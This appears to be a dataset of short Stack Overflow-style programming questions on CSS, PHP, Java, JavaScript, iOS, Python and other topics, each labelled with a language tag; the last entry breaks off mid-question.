how do you add 2 outlines/borders inside an image  how do you create two outlines or borders using css like the demo pic below     <a href= https://i.stack.imgur.com/jqyxl.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jqyxl.jpg  alt= enter image description here ></a>    i can create one outline as per the code here: <a href= https://jsfiddle.net/k3rcyquo/  rel= nofollow noreferrer >jsfiddle code</a>    <strong>css:</strong>   <pre><code>img {     outline: 1px solid #fff;     outline-offset: -9px; } </code></pre>,css
how is new version of an aspx file compiled and loaded into the application   upon serving a request for an aspx page  if asp.net notices any change to that page  it will automatically recompile the page into an assembly and use that new page definition to handle to the request.    as far as i know  .net doesn t allow us to unload an assembly from an application domain.  however  it does allow us to unload the whole application domain (with its assemblies).  therefore  it seems to me that the only way asp.net can replace the old assembly with the new assembly (of the updated aspx file) is unloading the whole application domain and create a new one to host the web application (which is effectively a application restart  which happens when the web.config is changed  assemblies bin folder are updated etc.)  however  i notice that it seems not to be the case as the application responds much more quickly after i modify an aspx file than when i modify the web.config file.      therefore  my question is: is it possible for asp.net to load new version of the assembly of an aspx page without having to unload the whole application and create a new one,asp.net
java: memory restriction hidden somewhere   i have a fairly computing intensive benchmark program in java which i am testing on a linux server. it runs just fine on my macbook.     if i run it on the server  the following happens: as soon as the memory footprint reaches about 324 mb  the program begins to grind to a halt. apparently some restriction bars it from using more memory  and the garbage collector has to do more and more work to stay below this restriction. at some point  a  gc overhead exceeded  exception  is thrown.    i start java with -xmx16000m  so that cannot be the memory limit. what are other possible limits     these are the java versions i am using:    macbook:    java version  1.5.0_16     java(tm) 2 runtime environment  standard edition (build 1.5.0_16-b06-284)    java hotspot(tm) client vm (build 1.5.0_16-133  mixed mode  sharing)    linux server:    java version  1.6.0_12     java(tm) se runtime environment (build 1.6.0_12-b04)    java hotspot(tm) 64-bit server vm (build 11.2-b01  mixed mode),java
"declared variable returning undefined  i ve been trying for hours  just trying to figure out  how to fix a problem. and it s a script to include html with an id of  incl  and a custom attribute called  file  in javascript. and it s returning <br/><br/> <b> uncaught typeerror: cannot set property  innerhtml  of null     at xmlhttprequest.xhttp.onreadystatechange (includer.js:13) </b> <br/><br/> my script is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var all = document.getelementsbytagname( * );
 var fle = [];
 var incl = [];
 var nincl = [];
 var xhttp = new xmlhttprequest();
 for (var i = 0  max = all.length; i &lt; max; i++) {
   incl[i] = all[i].getattribute( id );
   if (incl[i] ==  incl ) {
     nincl[i] = all[i].getattribute( id );
     fle[i] = all[i].getattribute( file );
     xhttp.onreadystatechange = function() {
       if (this.readystate == 4 &amp;&amp; this.status == 200) {
         document.getelementbyid(nincl[i]).innerhtml = this.responsetext;
       }
     };
     xhttp.open( get   fle[i]  true);
     xhttp.send();
   }
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;head id= incl  file= header.html &gt;&lt;/head&gt;
 
 &lt;body&gt;
   &lt;div id= incl  file= navlist.txt &gt;&lt;/div&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>",javascript
php skip through file under certain conditions  here s an example of my situation:   <pre><code>&lt; php if(//condition) {    //start output buffer } else {    //skip through file until point a }  &gt; &lt;!-- some nice html  no php here --&gt; &lt; php   //close output buffer &amp; write it to a file   //point a &lt;&lt; skip to here  &gt; </code></pre>   basically  i m loading the html code after the php code block into an output buffer. my conditional checks if the file that the output buffer writes to exists. if it exists  i just want to skip past the html and the output buffer writing  and start off at <code>point a</code>. i would do an <code>exit;</code> but i have more code i wish to output after <code>point a</code>.     any help,php
scroll a div while using the scrollwheel over another div  say i have 2 divs side by side. both are 400px x 400px  and have overflow set to auto. the content inside is taller than 400px so there are vertical scrollbars.    when the mouse is over the div on the left  and the user uses the mousewheel to scroll  i want the other div to scroll  and vice versa.     so basically when a user is using the mousewheel over a certain area  i want to control the scroll of another area respectively.    is this possible with jquery,jquery
in chrome dev tools  how do i see where my html is saved   i ve updated a site s index.html  but i m not seeing any updates on the site. i ve refreshed  cleared cache  used another device and another browser  but i m just getting the old site.    i m worried it s because i ve updated the wrong file  and it s actually not using index.html as a homepage. is this possible  how do i see what page is the home page     thanks,html
php more than 5 items create new div  i am using php and mysql. here is my code   <pre><code> &lt; php       $result = mysql_query( select * from `item` order by `id` limit 0  5 );     $rows = mysql_num_rows ($result);      $item = 0 ;        while ($item &lt; $rows){          $title = mysql_result($result $list  name );         $id = mysql_result($result $list  id );         echo  &lt;div id= new &gt; $id . $title  &lt;/div&gt;  ;       $item++;     }       &gt;    </code></pre>   my question is that  is it possible if the items are more than 5 (as you can see i limited items)  then create a new div id=new to display the rest items     many thanks in advance,php
how i get extension of the uploaded file in code behind   i have this row in my asp.net page:        my question is how can i get extension  of the uploaded file in code behind,asp.net
text validation in windows form  anyone please help  for text validation. one field will be input for one id. id should be  n######  where # is numbers. please let me know how to put it under validation when button is clicked.,.net
is there ever a situation in java where a variable in a function isn t linked   in particular i m wondering if the arg is always linked or is it just linked because the function decloration is <code>static</code>     it d be nice to know if their are any quirks before i write thousands of lines of code expecting it to be one way  but in 1 edge case it s not.    for the record i understand that <code>string = new string[2];</code> inside <code>changevalue()</code> would create a new string and the changes would not propogate to <code>main</code> s instance of <code>string</code>;    here s some example code to illustrate what i m referring to.   <pre><code>public class testlink {      public static void changevalue(object object) {         object.foo =  changed ;     }      public static void changevalue(string[] string) {         string[0] =  changed ;     }      public static void main(string[] args) {         string[] string = new string[2];         string[0] =  not changed ;         changevalue(string);         if (string[0].equals( not changed )) {             system.out.println( not linked );         } else {             system.out.println( linked );         }         system.out.println(string[0]);         /*         output:         linked         changed         */     } } </code></pre>,java
firing event function without an event  i am trying to find a way to reuse a function that is fired from an event binding.    this issue is caused from browsers remembering checkbox states  so i have to fire the function on document ready.    i know i could put <code>setgrid()</code> in an anonymous function and pass in the element instead  but that would make it difficult to unbind the specific event.    html:   <pre><code>&lt;input type= checkbox  value= grid  id= checkbox-grid &gt; </code></pre>   javascript:   <pre><code>function setgrid(e) {    var $this = $(e.target); //  error: e is undefined  on situation 2    if( $this.is( :checked ) ){        // do something if checkbox is checked   }   else{        // do something if checkbox isn t   } }  // 1. event binding $( #checkbox-grid ).on( change   setgrid);  // 2. function fired on page ready setgrid(); </code></pre>,javascript
styling a number to appear flush in the bottom right-hand corner of html table  the code below echoes an html table.  the bottom right-hand corner of the table displays the number <code>$row[ points ]</code>.  i like the way it displays  but there is a sliver of light blue (#cae1ff) between the right border of the table and the number <code>$row[ points ]</code>.  how can i get the number flush with the right border (so there is no light blue between the number and the border)     here is a screenshot:    <img src= https://i.stack.imgur.com/hdiwe.png  alt= enter image description here >    thanks in advance     john    the code:   <pre><code>echo  &lt;table class=\ samplesrec\ &gt; ;  echo  &lt;tr style= border-left:3px solid #004993; border-right:3px solid #004993; border-top:3px solid #004993;  class= class2a backgroundtt &gt; ;  echo  &lt;td class= sitename1 &gt;&lt;/td&gt; ;  echo  &lt;/tr&gt; ;    echo  &lt;tr class= class2b backgroundtt &gt; ;     echo  &lt;td style= border-left:3px solid #004993; border-right:3px solid #004993;  class= sitename2name &gt;&lt;/td&gt; ;  echo  &lt;/tr&gt; ;    echo  &lt;tr style= border-left:3px solid #004993; border-right:3px solid #004993; border-bottom:3px solid #004993;  class= class2c backgroundtt &gt; ;  echo  &lt;td class= sitename2tt &gt;&lt;div class= pointlink &gt; .number_format($row[ points ]). &lt;/div&gt;&lt;/td&gt; ;  echo  &lt;/tr&gt; ; </code></pre>   the css:   <pre><code>table.samplesrec {     position:absolute;     left:30px;     top:150px;     text-align: left;     font-family:  times new roman   times  serif;     font-weight: normal;     font-size: 18px;     color: #000000;     width: 580px;     table-layout:fixed;     background-color: #ffffff;     border: 0px #ffffff;     border-collapse: collapse;     border-spacing: 0px;     padding: 0px;     text-decoration: none;     vertical-align: text-bottom;      }  table.samplesrec td {    border: 0px solid #fff;      text-align: left;     height: 5px;    overflow:hidden;  }   .class2a     {     margin-bottom:3px;     padding:2px;     color:#000000;     }     .class2a a{    padding: 2px;    color: #004284;    background-color:#cae1ff;    text-decoration: none; }   .class2a a:hover{    background-color: #ff0000;    padding: 2px;    color: #ffffff;    text-decoration: none; }      .backgroundtt     {     position: inherit;     width:500px;     height:0px;     background: #cae1ff;     }   .sitename1 { width: 580px;             font-family:  courier new   courier  monospace;             font-weight: normal;             font-size: 14px;             overflow:hidden !important;             color: #000000;             padding-bottom: 0px;  }  .class2b     {     margin-bottom:3px;     padding:2px;     color:#000000;     }     .class2b a{    padding: 2px;    color: #004284;    background-color:#cae1ff;    text-decoration: none; }   .class2b a:hover{    background-color: #ff0000;    padding: 2px;    color: #ffffff;    text-decoration: none; }   .sitename2name { width: 300px;             overflow:hidden !important;             color: #999999;             font-family: arial  helvetica  sans-serif;             font-size: 10px;             font-weight: normal;             height: 5px;             padding-bottom: 0px;  }  .sitename2name a{              width: 300px;             overflow:hidden !important;             color: #004284;             font-family:arial  helvetica  sans-serif;             font-size: 10px;             font-weight: bold;             height: 5px;             padding-bottom: 0px;  }  .sitename2name a:hover{              width: 300px;             overflow:hidden !important;             color: #004284;             background-color: #ffffff;             text-decoration:underline;             font-family:arial  helvetica  sans-serif;             font-size: 10px;             font-weight: bold;             height: 5px;             padding-bottom: 0px;  }   .class2c     {     margin-bottom:0px;     padding:2px;     padding-bottom: 5px;     color:#000000;     border-bottom-color:#ffffff;     border-bottom:thick;     }     .class2c a{    padding: 2px;    padding-bottom: 5px;    color: #004284;    background-color:#cae1ff;    text-decoration: none;    border-bottom-color:#ffffff;    border-bottom:thick; }   .class2c a:hover{    background-color: #ff0000;    padding: 2px;    padding-bottom: 5px;    color: #ffffff;    text-decoration: none;    border-bottom-color:#ffffff;    border-bottom:thick; }   .sitename2tt { width: 150px;             overflow:hidden !important;             color: #000000;             font-family: arial  helvetica  sans-serif;             font-size: 10px;             font-weight: normal;             height: 5px;             padding-bottom: 0px;   }  .sitename2tt a{              width: 50px;             overflow:hidden !important;             color: #004284;             font-family: arial  helvetica  sans-serif;             font-size: 10px;             font-weight: normal;             height: 5px;             padding-bottom: 0px;   }  .sitename2tt a:hover{              width: 50px;             overflow:hidden !important;             color: #004284;             text-decoration:underline;             font-family: arial  helvetica  sans-serif;             font-size: 10px;             font-weight: normal;             height: 5px;             padding-bottom: 0px;   }  .pointlink {              float:right;             margin-right: 0px;             font-size:18px;             font-weight:bold;             padding-right: 5px;             padding-left: 5px;             background-color:#004993;             color:#ffffff;   }   .pointlink a{              float:right;             margin-right: 0px;             font-size:18px;             padding: 2px;             padding-right: 2px;             padding-left: 2px;             background-color:#004993;             color:#ffffff;   }  .pointlink a:hover{              float:right;             margin-right: 0px;             font-size:18px;             padding: 2px;             padding-right: 2px;             padding-left: 2px;             background-color: #ff0000;             color:#ffffff;   } </code></pre>,css
error: there is no sdk with the name or path  iphoneos   the error: <code>there is no sdk with the name or path  iphoneos </code>    what does it mean,iphone
hexadecimal conversion from a file  what is wrong with my code  i am trying to read in from a file line by line and convert the numbers in the form of 0x hex numbers  into integers. it is returning just 1 line and then it ends  my input is something like this    0x9c40    0x3b9ac9ff    0x754893gf    0x754893gf    0x754893gf    0x754893gf   <pre><code>  #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;    #include &lt;stdio.h&gt;   #define maxchar 1000  int main() {      file *fp;     char str[maxchar];     char* filename =  c:\\test.txt ;     int number;      fp = fopen(filename   r );    if (fp == null){       printf( could not open file %s  filename);       return 1;      }    while (fgets(str  maxchar  fp) != null)        number = (int)strtol(str  null  0);     printf( %d\n   number);    fclose(fp);     return 0;     } </code></pre>,c
summary -> detail views/queries  is there a general pattern that is recommended for building a  summary detail  type view  say for example  you have an invoicing app with a reporting view that needs to list headings for every customer with a detail of every open invoice for that customer under the heading.    here s how i ve attempted to deal with it in the past (using the customer/invoice example)  none of which has been very satisfactory:    <strong>method #1</strong>:     create a join query which joins the customer details with the invoice. in the view loop over the collection using an instance variable to keep track of the customer being looped over. have a conditional in the loop code that compares the current iteration s customer with the last interation s customer. if they are different  add in a heading for the new customer.    <strong>method #2</strong>:    query for customers with an open invoice  then in the view iterate over the customers and nested the customer iteration  do another iteration over that customer s open invoices  e.g:   <pre><code>&lt;% @customers.each do |customer| %&gt;   &lt;%= customer.name %&gt;   &lt;% customer.invoices.open.each do |invoice| %&gt;     &lt;%= invoice.details %&gt;   &lt;% end %&gt; &lt;% end %&gt; </code></pre>   so  yeah. neither one of these feels great. method #1 seems like a hack and method #2 seems like it would generate too many queries though its the most readable in the code.,ruby-on-rails
puncuation causes an error  hello i got a small block of code that when run with the test phrase i get an error when the code hits the punctuation.  i think that the value of word is null but i tried to cast that to a string to prevent getting the error indexerror.  i have stepped through the program and am getting a value for word of    instead of     and would like to know the difference so i can fix this issue.  the code works with all letters.   <pre><code>word =    quote = input( enter a 1 sentence quote  non-alpha words:  ).lower() for character in quote:     if character.isalpha() == true:         word += character     else:         if str(word[0]) &gt;=  h :             print(word.upper())             word =             else:             word =    </code></pre>   sample input:wheresoever you go  go with all your heart desired output:with all the capitalized words on their own line. wheresoever you with your heart,python
disable click on anchor if form is invalid  i ve tried several solutions on other answers but so far none has worked as needed  basically i need to disable a button (anchor) if the form is invalid  disabling is not the problem  avoiding the call to the function is.    for that i tried something like this:   <pre><code>&lt;a class= btn icon-btn btn-success  ng-disabled= myform.$invalid  novalidate ng-submit= myform.$valid &amp;&amp; submit.addoredititem() &gt; &lt;span class= glyphicon btn-glyphicon glyphicon-save img-circle text-success &gt;&lt;/span&gt;save&lt;/a&gt; </code></pre>   and on my controller:   <pre><code>    $scope.iscreating = true;      $scope.submit = {         addoredit: function() {          if($scope.iscreating){             $scope.items.push({type: $scope.newitem.name  description: $scope.newitem.descriptions  isdone:false  editable:false});          }else{              $scope.eitem.type         = $scope.newitem.name;             $scope.eitem.description  = $scope.newitem.descriptions;         }               $scope.iscreating = true;             $scope.newitem = {};         }     } </code></pre>   is there any alternatives for this,angularjs
getter method for line class  i have two classes: <code>point</code> class and <code>linesub</code> which <code>extends</code> <code>point</code>    here is the constructor for the first class the first class also has the <code>getters</code> and <code>setters</code> for the private vars   <pre><code>    private int x;     private int y;      public point(int x  int y) {         this.x = x;         this.y = y;     } </code></pre>   here is the second class:   <pre><code>public class linesub extends point {      point end;  // it has only the end instance variable.     public linesub(point begin  point end) {        super(begin.getx()  begin.gety());        this.end = end;     } } </code></pre>   question: is it possible to write a <code>getbegin()</code> method which returns the beginning point,java
fastest way to find first element within an interval  i have a list of objects from the class below. this list has more than 150 000 records.   <pre><code>public class coordsimportviewmodel     {         public decimal  xaxis { get; set; }         public decimal  yaxis { get; set; }         public long  unixepochdate { get; set; }     } </code></pre>   i use the following code several times to find some specific records and as you can imagine it takes a lot of time.   <pre><code>coordslist.where(x =&gt; x.unixepochdate &gt;= timestamp &amp;&amp; x.unixepochdate &lt; timestamp + interval)                                          .select(x =&gt; new {                                              x                                               y                                           }).firstordefault() </code></pre>   is there any way to optimize this     edit: the list is sorted by unixepochdate.,c#
disappeared list variable  could you please tell why list variable have disappeared after  while  cycle    <blockquote> <pre><code>@staticmethod def division(f  s):     result = []     tr = []     if len(s) &gt; len(f):         return [polynomial(0)  polynomial(f)]      while len(f) &gt;= len(s):         r = []         k = 0         mf = 2*f[len(f)-1]         ms = 2*s[len(s)-1]         m = []          if mf &lt; 0:             mf *= -1         if ms &lt; 0:             ms *= -1          if mod(f[len(f)-1]  mf) &lt; mod(s[len(s)-1]  ms):             return [polynomial(0)  polynomial(f)]          while mod(f[len(f)-1]  mf) &gt;= k:             k += mod(s[len(s)-1]  ms)         k -= mod(s[len(s)-1]  ms)         r.append([k/mod(s[len(s)-1]  ms)  len(f)-len(s)])         if f[len(f)-1] &gt; 0 and s[len(s)-1] &lt; 0 or f[len(f)-1] &lt; 0 and s[len(s)-1] &gt; 0:             r[len(r)-1][0] *= -1         for i in xrange(r[len(r)-1][1]+1):             m.append(0)         m[len(m)-1] = r[len(r)-1][0]         result.append(r[len(r)-1])          subtrahend = polynomial.multiplication(polynomial(m).coefficients          polynomial(s).coefficients).coefficients          f = polynomial.subtraction(f  subtrahend).coefficients         print result      print result     o = []      for i in xrange(result[0][1]+1):         o.append(0)      for i in xrange(len(result)):         o[i] = result[i][0]     o.reverse()      if len(f) == 0:         f = [0]      return [polynomial(o)  polynomial(f)] </code></pre> </blockquote>  <pre><code>f = polynomial.subtraction(f  subtrahend).coefficients     print result  print result </code></pre>   first print shows correct result  but second print (after end of cycle) shows nothing. if i try to redefine it like this:   <pre><code>f = polynomial.subtraction(f  subtrahend).coefficients     print result result =  asdf  print result </code></pre>   nothing happened. result variable is still none.,python
css how to center link elements within a div  so i have a div which will contain 3 buttons and i want these buttons centered within the div.    i tried this so far   <pre><code>.centerbuttons   {     margin-left: auto;     margin-right: auto;     width: 90%;     } </code></pre>   which centers the div containing the buttons which is fine  but the actual buttons within this div are not centered..this is my mark up so far..   <pre><code>&lt;div class= clearfixleft clearfix centerbuttons &gt;   &lt;xsl:if test= sc:fld( link one   .)!=   &gt;     &lt;div class= fl_left mr_7 mt_10 &gt;       &lt;div class= green-btn-solid &gt;         &lt;sc:link field= link one &gt;           &lt;span class= btnspan &gt;             &lt;sc:text select= .  field= link one text  /&gt;           &lt;/span&gt;         &lt;/sc:link&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/xsl:if&gt;   ... &lt;/div&gt; </code></pre>   additional classes    <pre><code>/* link styles */ .green-btn-solid {line-height: 21px; height: 21px; background: url(../../images/source/btn_grn_r.gif) 100% 0 no-repeat; width: auto; display: block; padding-right: 30px; } .green-btn-solid span {display: block; float: left; background: url(../../images/source/btn_grn_l.gif) 0 0 no-repeat; line-height: 21px; height: 21px; padding-left: 12px; color: #fff;} </code></pre>,css
insert template after a element  i have a template that looks like this    <pre><code>&lt;table&gt;   &lt;tr  ng-repeat  =&gt;  row in moviesrows &gt;     &lt;td  ng-repeat  =&gt;  movie in row&gt;       {{ movie.title }}     &lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   which creates a html structure like this    <pre><code>&lt;table&gt;   &lt;tr&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;   &lt;/tr&gt; &lt;table&gt; </code></pre>   my goal is to when a user clicks on a td element that a template is inserted at the end of the row. resulting in something like this    <pre><code>&lt;table&gt;   &lt;tr&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt; &lt; td clicked     &lt;td&gt;hello&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class= container_template&gt;     &lt;td ui-view= something &gt;template info etc.&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;     &lt;td&gt;hello&lt;/td&gt;   &lt;/tr&gt; &lt;table&gt; </code></pre>   would something like this be possible using angularjs or perhaps even javascript,angularjs
dacircularprogress in iphone 5  i am using this open source (<a href= https://github.com/danielamitay/dacircularprogress  rel= nofollow >https://github.com/danielamitay/dacircularprogress</a>) with the following    <pre><code>self.largestprogressview.tracktintcolor = [uicolor redcolor]; self.largestprogressview.progresstintcolor = [uicolor whitecolor]; self.largestprogressview.thicknessratio = 1.0f; </code></pre>   it works fine on all devices apart from iphone 5. on iphone 5 it shows a semi circle shifted to the right of the uiview. any ideas how i can fix this,iphone
pop up a alert box with link_to  with rails i love how you can just do      <code>link_to  click   some_path  :data =&gt; {:confirm =&gt;  are you sure  }</code>.    is there a simple way to pop up an alert dialog instead  could i try something like      <code>link_to  click   some_path  :data =&gt; {:alert =&gt;  are you sure  }</code>,ruby-on-rails
"angular element.width is not a function   does <code>element.width()</code> not work anymore or am i wrong to assume that it gives you width of an element     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>angular.module( app   []).directive( app   function() {
   return {
     restrict:  e  
     link: function(scope  element) {
       console.log(element.width());
       // =&gt; error: element.width is not a function
     } 
   };
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;div ng-app= app &gt;
   &lt;app&gt;&lt;/app&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
work with an uploaded file in asp.net  i need to create a custom web control which will be a part of a class library. this custom web control implements the upload functionality. i have implemented this with a web user control where i have a fixed path to a page in the web project where the upload of files take place and it works just fine.    the created control in this class library is used in the web project. how do i post the uploaded file to a page  say someclass.cs  in the class library.     thanks in advance.,asp.net
using translucent uinavigationbars  i am using interfacebuilder to set up my app. i have several views being controlled by a uinavigationcontroller. in ib i set up the views using the simulated metrics to position the elements below the navigation bar.    i have a background texture that is placed in the window object of the main.nib so that it is shared throughout the app. i want that texture to be visible behind a transucent navigation bar.    if the actual navigationbar s style is blackopaque the elements of the various views are positioned correctly below the navbar when the app is run.     if i set the navigationbar to be translucent  view elements are repositioned to the bottom of the status bar when the app is run so that they are visible behind the navigationbar  even though they are positioned correctly in their various nib files.    how do i defeat this behavior,iphone
ctrl-p on a page with alternating <tr> colors  i m currently generating a form to print out using php  and i have my table row colors alternating back and forth between grey and white.    i need to print this page  but when i hit ctrl-p  the table row colors don t appear on the printed page. is there any way to make it so it does,html
.net codebase element  i have reviewed several other posts about how to get the clr to find an assembly that is not in the same folder or any subfolder of the executable and am unable to get it to work for me.  classlibrary1.dll is an unsigned assembly.  the examples show:   <pre><code>&lt;configuration&gt;  &lt;runtime&gt;      &lt;assemblybinding xmlns= urn:schemas-microsoft-com:asm.v1 &gt;          &lt;dependentassembly&gt;              &lt;assemblyidentity name= classlibrary1 /&gt;              &lt;codebase version= 1.0.0.0                                      href=file:///c:\somepath\subfolder\classlibrary1.dll /&gt;          &lt;/dependentassembly&gt;      &lt;/assemblybinding&gt;  &lt;/runtime&gt;  &lt;/configuration&gt;  </code></pre>   i created a console application and put the above with the proper path in its configuration file  but still get a message indicating that it cannot find classlibrary1.dll.  i used fuslogvw and it did not even check in the folder supplied in the codebase element.  does anyone know why this does not work,.net
how can i access descendants using jquery   i have only one id (main).    i m trying to set .css() to  main[0]->sub[0]->left[0]  as you can see below:   <pre><code>&lt;div id= main &gt;      &lt;div class= sub &gt;         &lt;div class= left &gt;             &lt;div class= subsub &gt;                 main[0]-&gt;sub[0]-&gt;left[0]             &lt;/div&gt;             &lt;div class= subsub &gt;                 main[0]-&gt;sub[0]-&gt;left[1]             &lt;/div&gt;         &lt;/div&gt;         &lt;div class= right &gt;             main[0]-&gt;sub[1]         &lt;/div&gt;     &lt;/div&gt;      &lt;div class= sub &gt;         &lt;div class= left &gt;             &lt;div class= subsub &gt;                 main[1]-&gt;sub[0]-&gt;left[0]             &lt;/div&gt;             &lt;div class= subsub &gt;                 main[1]-&gt;sub[0]-&gt;left[1]             &lt;/div&gt;         &lt;/div&gt;         &lt;div class= right &gt;             main[1]-&gt;sub[1]         &lt;/div&gt;     &lt;/div&gt;  &lt;/div&gt; </code></pre>   i can access the first main child this way:   <pre><code>$($( #main ).children()[0]).css( my css... ); </code></pre>   and the second main child this way:   <pre><code>$($( #main ).children()[1]).css( my css... ); </code></pre>   but how can i access  sub  class children,jquery
square root python error bool object has no attribute  sqrt   i m relatively new to python  and i am trying to make a geometry calculator  but for the distance formula you need to square root things.  but whenever i try to do it  it comes up with this error: traceback (most recent call last): file  python   line 27  in  attributeerror:  bool  object has no attribute  sqrt  i really appreciate all help in advance  and here is my code:   <pre><code>math = true while math == true:     shape = input( greetings human  i am jeraxxus eredon lord of the burning legion  what s your geometry question  )     if shape == triangle :         q1 = input( area or perimeter  )         if q1 ==  area :             user_input = input( base and height plz  commas inbetween )             x = str.split(user_input)             print(x[0]*x[1]/2)         if q1 ==  perimeter :             q2 = input( do you have side lengths    )             if q2 ==  yes :                 sl = input( please put in side lengths )                 sl = str.split(sl)                 print(sl[0]+sl[1]+sl[2])             if q2 ==  no :                 cd = input( please put in coordinates )                 cd = str.split(cd)                 cd1 = int(cd[0])                 cd2 = int(cd[1])                 cd3 = int(cd[2])                 cd4 = int(cd[3])                 cd5 = int(cd[4])                 cd6 = int(cd[5])                 f1 = cd1^2*cd3^2+cd2^2*cd4^2                 f1 = int(f1)                 s1 = math.sqrt(f1)                 print(s1) </code></pre>,python
mysql do where on more than one field  i want to do a where on more than one field. and it also has to be in between two numbers. i think you can understand it more by looking at the code:   <pre><code>select * from locations where(lat between 8 and 100) and where(lng between 1 and 4) </code></pre>   thanks for any responses,mysql
xcode help  apple is rejecting my app changed deployment target from 6.0 to 8.0  apple sent me this: dear developer     we have discovered one or more issues with your recent delivery for  vampblazer . to process your delivery  the following issues must be corrected:    this app attempts to access privacy-sensitive data without a usage description. the app s info.plist must contain an nscamerausagedescription key with a string value explaining to the user how the app uses this data.    once these issues have been corrected  you can then redeliver the corrected binary.    regards     the app store team    info.plist my file   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;!doctype plist public  -//apple//dtd plist 1.0//en   http://www.apple.com/dtds/propertylist-1.0.dtd &gt; &lt;plist version= 1.0 &gt; &lt;dict&gt;     &lt;key&gt;cfbundledevelopmentregion&lt;/key&gt;     &lt;string&gt;en&lt;/string&gt;     &lt;key&gt;cfbundledisplayname&lt;/key&gt;     &lt;string&gt;vampblazer&lt;/string&gt;     &lt;key&gt;cfbundleexecutable&lt;/key&gt;     &lt;string&gt;${executable_name}&lt;/string&gt;     &lt;key&gt;cfbundleiconfiles&lt;/key&gt;     &lt;array&gt;         &lt;string&gt;appicon57x57.png&lt;/string&gt;         &lt;string&gt;appicon57x57@2x.png&lt;/string&gt;         &lt;string&gt;appicon60x60@2x.png&lt;/string&gt;         &lt;string&gt;appicon72x72@2x~ipad.png&lt;/string&gt;         &lt;string&gt;appicon72x72~ipad.png&lt;/string&gt;         &lt;string&gt;appicon76x76@2x~ipad.png&lt;/string&gt;         &lt;string&gt;appicon76x76~ipad.png&lt;/string&gt;     &lt;/array&gt;     &lt;key&gt;cfbundleidentifier&lt;/key&gt;     &lt;string&gt;$(product_bundle_identifier)&lt;/string&gt;     &lt;key&gt;cfbundleinfodictionaryversion&lt;/key&gt;     &lt;string&gt;6.0&lt;/string&gt;     &lt;key&gt;cfbundlename&lt;/key&gt;     &lt;string&gt;${product_name}&lt;/string&gt;     &lt;key&gt;cfbundlepackagetype&lt;/key&gt;     &lt;string&gt;appl&lt;/string&gt;     &lt;key&gt;cfbundleshortversionstring&lt;/key&gt;     &lt;string&gt;3.0&lt;/string&gt;     &lt;key&gt;cfbundleversion&lt;/key&gt;     &lt;string&gt;4.0&lt;/string&gt;     &lt;key&gt;lsrequiresiphoneos&lt;/key&gt;     &lt;true/&gt;     &lt;key&gt;nsapptransportsecurity&lt;/key&gt;     &lt;dict&gt;         &lt;key&gt;nsallowsarbitraryloads&lt;/key&gt;         &lt;true/&gt;     &lt;/dict&gt;     &lt;key&gt;nslocationwheninuseusagedescription&lt;/key&gt;     &lt;string&gt;&lt;/string&gt;     &lt;key&gt;uiapplicationexitsonsuspend&lt;/key&gt;     &lt;false/&gt;     &lt;key&gt;uilaunchstoryboardname~ipad&lt;/key&gt;     &lt;string&gt;launchscreen-ipad&lt;/string&gt;     &lt;key&gt;uilaunchstoryboardname~iphone&lt;/key&gt;     &lt;string&gt;launchscreen-iphone&lt;/string&gt;     &lt;key&gt;uiprerenderedicon&lt;/key&gt;     &lt;false/&gt;     &lt;key&gt;uirequireddevicecapabilities&lt;/key&gt;     &lt;array&gt;         &lt;string&gt;armv7&lt;/string&gt;     &lt;/array&gt;     &lt;key&gt;uirequiresfullscreen&lt;/key&gt;     &lt;true/&gt;     &lt;key&gt;uirequirespersistentwifi&lt;/key&gt;     &lt;false/&gt;     &lt;key&gt;uistatusbarhidden&lt;/key&gt;     &lt;true/&gt;     &lt;key&gt;uistatusbarstyle&lt;/key&gt;     &lt;string&gt;uistatusbarstyledefault&lt;/string&gt;     &lt;key&gt;uisupportedinterfaceorientations&lt;/key&gt;     &lt;array&gt;         &lt;string&gt;uiinterfaceorientationportrait&lt;/string&gt;         &lt;string&gt;uiinterfaceorientationportraitupsidedown&lt;/string&gt;     &lt;/array&gt;     &lt;key&gt;unity_loadingactivityindicatorstyle&lt;/key&gt;     &lt;integer&gt;-1&lt;/integer&gt; &lt;/dict&gt; &lt;/plist&gt; </code></pre>   <a href= https://i.stack.imgur.com/8pk8k.png  rel= nofollow >enter image description here</a>    getting this warning : also     _rootcontroller.wantsfullscreenlayout = true;  is deprecated in ios 7.0)   <pre><code>i searched for  nscamerausagedescription this what showed up on this page  #include  unityappcontroller+viewhandling.h  #include  unityappcontroller+rendering.h   #include  